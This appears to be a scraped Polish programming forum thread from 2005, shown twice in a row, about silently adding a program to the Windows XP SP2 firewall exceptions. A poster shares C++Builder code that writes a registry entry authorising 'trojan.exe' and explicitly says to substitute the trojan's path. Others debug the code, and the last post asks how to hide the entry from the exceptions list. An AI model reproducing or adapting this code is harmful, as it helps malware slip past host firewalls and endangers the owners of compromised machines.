Ĺadny brzuch
Mam pytanie,
Jak moge dodać do wyjątków mój program tak aby firewall z SPII puszczał go bez pytania ??
Kiedyś gdzies to znalazłem, ale ta stronka na której to było już nie istnieje :(
z góry dzieki za odpowiedzi :)
Znalazłem samemu :)
A tu gotowy kod jak by ktoś jeszcze potrzebował :
#include <Registry.hpp> void __fastcall TForm1::Button1Click(TObject *Sender) { Â TRegistry& Rejestr = *new TRegistry(); Â Rejestr.RootKey = HKEY_LOCAL_MACHINE; Â Rejestr.OpenKey("SYSTEM\ControlSet001\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\AuthorizedApplications\List", false); Â Rejestr.WriteString("C:\\windows\\system32\\trojan.exe" , "C:\\windows\\system32\\trojan.exe:*:Enabled:trojan" ); Â delete &Rejestr; }
Użytkownik rzeszutek edytował ten post 31 sierpień 2005, 20:20
A tu gotowy kod jak by ktoś jeszcze potrzebował
Fajnie, tylko jak kompiluje to błąd
Lvalue required :excl:
Po kilku próbach załapałem że funkcja potrzebuje 2 parametrów AnsiString, więc zamiast '=' dałem ','
Rejestr.WriteString("C:\\windows\\system32\\trojan.exe" ,"C:\\windows\\system32\\trojan.exe");
Tym razem kompilacja pomyślna :D , ale... :(
podczas działania programu - failed to set data for 'C:\windows\system32\trojan.exe'
rzeszutek: cosik wadliwy ten Twój kod :P
z tym =, to bład ale go nie zauważyłem :(
Ale u mnie kod działa :)
A w miejsce C:\windows\system32\trojan.exe musisz podac ścieżke do trojanka :)
z poważaniem
Krzysztof Rzeszutek
Tym razem kompilacja pomyślna :D , ale... :(
podczas działania programu - failed to set data for 'C:\windows\system32\trojan.exe'
rzeszutek: cosik wadliwy ten Twój kod :P A masz uprawnienia admina??
A w miejsce C:\windows\system32\trojan.exe musisz podac ścieżke do trojanka
Zauważyłem no i tak nie działa.
A masz uprawnienia admina??
Tak.
Nie rozumiem tego. Aha dla lepszego rozumienia sprawy, dlaczego tak właściwie są 2 parametry tej funkcji WriteString? I po co to Trojan Enabled na końcu ?
Aha dla lepszego rozumienia sprawy, dlaczego tak właściwie są 2 parametry tej funkcji WriteString?
Rozwiązałem problem.
Rejestr.OpenKey("SYSTEM\ControlSet001\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\AuthorizedApplications\List", false);
Ten fragment kodu, niby dobry ale po 30 min. męczenia się w końcu zmieniłem false na true, i tak nie mając nadzieji że to pomoże. I co?
Bezpośrednio w HKEY_LOCAL_MACHINE stworzył mi się nowy klucz o nazwie SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList.
Wniosek: komp nie czyta znaku / bo trzeba //.
PS. Taki mały problem a tyle męczenia.
myśle że temat do zamknięcia
a kto wie co zrobić do kompletu żeby programu nie było widać na liście wyjątków zapory
zanotowane.pl doc.pisz.pl pdf.pisz.pl zsf.htw.pl
Jak moge dodać do wyjątków mój program tak aby firewall z SPII puszczał go bez pytania ??
Kiedyś gdzies to znalazłem, ale ta stronka na której to było już nie istnieje :(
z góry dzieki za odpowiedzi :)
Znalazłem samemu :)
A tu gotowy kod jak by ktoś jeszcze potrzebował :
#include <Registry.hpp> void __fastcall TForm1::Button1Click(TObject *Sender) { Â TRegistry& Rejestr = *new TRegistry(); Â Rejestr.RootKey = HKEY_LOCAL_MACHINE; Â Rejestr.OpenKey("SYSTEM\ControlSet001\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\AuthorizedApplications\List", false); Â Rejestr.WriteString("C:\\windows\\system32\\trojan.exe" , "C:\\windows\\system32\\trojan.exe:*:Enabled:trojan" ); Â delete &Rejestr; }
Użytkownik rzeszutek edytował ten post 31 sierpień 2005, 20:20
A tu gotowy kod jak by ktoś jeszcze potrzebował
Fajnie, tylko jak kompiluje to błąd
Lvalue required :excl:
Po kilku próbach załapałem że funkcja potrzebuje 2 parametrów AnsiString, więc zamiast '=' dałem ','
Rejestr.WriteString("C:\\windows\\system32\\trojan.exe" ,"C:\\windows\\system32\\trojan.exe");
Tym razem kompilacja pomyślna :D , ale... :(
podczas działania programu - failed to set data for 'C:\windows\system32\trojan.exe'
rzeszutek: cosik wadliwy ten Twój kod :P
z tym =, to bład ale go nie zauważyłem :(
Ale u mnie kod działa :)
A w miejsce C:\windows\system32\trojan.exe musisz podac ścieżke do trojanka :)
z poważaniem
Krzysztof Rzeszutek
Tym razem kompilacja pomyślna :D , ale... :(
podczas działania programu - failed to set data for 'C:\windows\system32\trojan.exe'
rzeszutek: cosik wadliwy ten Twój kod :P A masz uprawnienia admina??
A w miejsce C:\windows\system32\trojan.exe musisz podac ścieżke do trojanka
Zauważyłem no i tak nie działa.
A masz uprawnienia admina??
Tak.
Nie rozumiem tego. Aha dla lepszego rozumienia sprawy, dlaczego tak właściwie są 2 parametry tej funkcji WriteString? I po co to Trojan Enabled na końcu ?
Aha dla lepszego rozumienia sprawy, dlaczego tak właściwie są 2 parametry tej funkcji WriteString?

Rozwiązałem problem.
Rejestr.OpenKey("SYSTEM\ControlSet001\Services\SharedAccess\Parameters\ FirewallPolicy\StandardProfile\AuthorizedApplications\List", false);
Ten fragment kodu, niby dobry ale po 30 min. męczenia się w końcu zmieniłem false na true, i tak nie mając nadzieji że to pomoże. I co?
Bezpośrednio w HKEY_LOCAL_MACHINE stworzył mi się nowy klucz o nazwie SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList.
Wniosek: komp nie czyta znaku / bo trzeba //.
PS. Taki mały problem a tyle męczenia.
myśle że temat do zamknięcia
a kto wie co zrobić do kompletu żeby programu nie było widać na liście wyjątków zapory